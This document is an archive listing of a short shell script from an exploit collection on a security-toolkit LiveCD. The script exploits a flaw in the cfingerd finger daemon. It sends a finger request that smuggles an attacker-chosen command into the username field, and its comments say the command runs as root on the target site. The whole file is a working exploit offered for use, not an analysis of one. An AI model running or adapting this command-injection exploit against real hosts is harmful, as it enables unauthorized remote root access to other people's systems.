home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / finger / cfingerd / cfingerd.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  325b  |  16 lines

  1. #!/bin/sh
  2. #
  3. # The  following  shell  script  exploits
  4. # vulnerability in  cfingerd. By  running this
  5. # you  can execute  arbitrary commands as root.
  6. # Exploit was written by east <east@l0ck.com>
  7.  
  8. echo "l0ck r0x w1f gl0x"
  9.  
  10. if [ $# = 2 ]
  11.   then
  12.   finger "/W;$1;#@$2"
  13. else
  14.   echo "$0 \"<command>\" <sitename>"
  15. fi
  16.